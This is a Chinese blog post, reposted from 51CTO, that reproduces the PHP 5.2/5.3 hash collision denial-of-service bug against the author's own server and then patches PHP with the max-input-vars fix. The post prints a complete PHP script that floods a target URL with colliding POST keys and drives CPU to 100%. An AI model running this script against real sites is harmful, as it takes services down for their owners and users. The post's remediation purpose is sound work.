PHP Hash冲突,造成CPU 100%,完全解决方案

简介:

PHP Hash冲突,完全解决方案


      最近,一直忙于在51cto上编写《2012自学CCNP路由与交换课程》,目前写到了第四章了,所以没有时间来处理linux平台下的工作,今天抽空研究了一个前不久,出的一个BUG,PHP 5.2/5.3 Hash漏洞,造成一台机器就可以DDOS攻击互联网上的PHP网站。

我们先看下环境,这个网站是LAMP架构,PHP版本是5.2.17。

PHP未打补丁前,服务器CPU情况,目前是2.1%的使用率。

    我们在这台web服务器上编写一个PHP程序,目的是要测试机去Hash它,以便故障重现。
程序语言如下:
<?php
echo $showtime=date("Y-m-d H:i:s");
?>
执行后的效果是取当前服务器的时间。

    找台有PHP环境的测试机器,这台机器我用虚拟机,里面有LAMP环境。进/usr/local/apache/htdocs目录,写一PHP网页,程序语言如下:
[root@blog htdocs]# Vi hash.php

<?php
$size = pow(2, 16);
$data = '';
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
$data .= $key.'=&';
}

$url = 'http://www.liuxxxxx.com/checktime.php'; 
$rs = array();
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER,0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
for ($i=0; $i<100; ++$i) 
{
curl_exec($ch);
}
curl_close($ch);
?>

   url地址,为你要作测试的目标机,i<100,表示最多100个并发。手工执行hash.php,进行hash碰撞。
[root@blog htdocs]# /usr/local/php/bin/php hash.php

   在web服务器端,我们去看服务器的资源利用情况,CPU是97.6%,看样子单台虚拟机,拿100并发去Hash,就足够把web服务器的CPU利用率升至100%。


    Cpu到了100%,网站是什么情况呢。我们再浏览该台web服务器,点网站上面的链接,反应正常,估计是这台web服务器本身没有一点压力,所以看不出来。把并发量调到10000,再测下,刚才是100并发。

刷新checktime.php页面,可以很快显示,网站正常。但此时web服务器cpu已是100%


   结论,我是用个人博客作目标机,因为个人博客,目前只有几个人访问,没有压力,所以即使,通过10000并发的Hash,CPU上到100%,个人博客打开的速度,还是相当快。

打上补丁,我们再观察一下。
1、先查下以后在搭建环境时,PHP的编译参数

2、到网上去下载一个PHP补丁,下载地址为:
https://github.com/laruence/laruence.github.com/tree/master/php-5.2-max-input-vars


3、根据个人平台的版本号,点击进去,注意,不要在它上面点右键,另存为,否则你down下的是一个html文件,文件名倒是php-5.2.17-max-input-vars.patch。
在新弹出的页面点“raw”,就会打开这个补丁文件。


   把里面的内容复制,我这里只截了它一小部分。然后在web服务器上新建一个文件,php-5.2.17-max-input-vars.patch,里面就是刚复制的。

4、进php的原始安装目录,我这里环境是/opt/soft/php-5.2.17。先把原来已编译好的一些,清理一下。


5、打补丁并重新编译一下php

再config
再make ZEND_EXTRA_LIBS='-liconv' //有的平台是make,每个环境不一样
再make install

6、重启一下apache,看效果
[root@lghblog php-5.2.17]# pkill httpd
[root@lghblog php-5.2.17]#/usr/local/apache/bin/apachectl start

访问一下,web服务器的phpinfo.php,查看PHP环境有没有变化。大家可以在最上面看到,PHP版本后带了个P1。这个还不够,我们再用Hash碰撞一下,看cpu会不会上100%。


在测试机上,还是取并发10000,去Hash web服务器。发现web服务器的CPU一直保持在0.5%。

 

问题解决!
 


     本文转自itwork 51CTO博客,原文链接:http://blog.51cto.com/369369/762567,如需转载请自行联系原作者






相关文章
|
9月前
|
运维 监控 Java
内存溢出+CPU占用过高:问题排查+解决方案+复盘(超详细分析教程)
全网最全的内存溢出CPU占用过高排查文章,包含:问题出现现象+临时解决方案+复现问题+定位问题发生原因+优化代码+优化后进行压测,上线+复盘
1440 5
|
3天前
|
Java 关系型数据库 MySQL
服务器cpu 100%解决方案
服务器cpu 100%解决方案
19 0
|
10月前
|
PHP
php开发实战分析(4):php调用封装函数包含文件路径自适应不同目录的解决方案($_SERVER[‘DOCUMENT_ROOT‘]与__DIR__魔术常量)
php开发实战分析(4):php调用封装函数包含文件路径自适应不同目录的解决方案($_SERVER[‘DOCUMENT_ROOT‘]与__DIR__魔术常量)
134 0
|
3天前
|
NoSQL 关系型数据库 MySQL
热点数据更新导致CPU100%的解决方案
热点数据更新导致CPU100%的解决方案
41 0
|
10月前
|
PHP
PHP报错Call to undefined function utf8_decode()的解决方案
PHP报错Call to undefined function utf8_decode()的解决方案
|
10月前
|
JSON 前端开发 安全
ajax中实现访问url已阅即焚的解决方案(url动态参数、变量加密、常量不变、php加密解密、API访问验证方式)
ajax中实现访问url已阅即焚的解决方案(url动态参数、变量加密、常量不变、php加密解密、API访问验证方式)
191 0
|
10月前
|
存储 监控 算法
php开发实战分析(9):使用实现短地址的分享的解决方案(第三方短链接服务、数据库自增ID转换、自定义短地址生成算法、自增数字短码)
php开发实战分析(9):使用实现短地址的分享的解决方案(第三方短链接服务、数据库自增ID转换、自定义短地址生成算法、自增数字短码)
189 0
|
10月前
|
JSON 安全 关系型数据库
php传递url参数加密验证的解决方案(加密解密、安全验证过滤)
php传递url参数加密验证的解决方案(加密解密、安全验证过滤)
263 0
|
10月前
|
前端开发 JavaScript 数据可视化
javascript逐行显示数据及php实时输出前端内容后台保持继续运行的解决方案(setTimeout定时器、flush和ob_flush函数、安装进度展示)
javascript逐行显示数据及php实时输出前端内容后台保持继续运行的解决方案(setTimeout定时器、flush和ob_flush函数、安装进度展示)
144 0
|
10月前
|
JSON 小程序 前端开发
微信小程序学习实录2(下拉刷新、下拉加载更多、小程序事件、PHP后端代码、刷新无数据解决方案)
微信小程序学习实录2(下拉刷新、下拉加载更多、小程序事件、PHP后端代码、刷新无数据解决方案)
321 0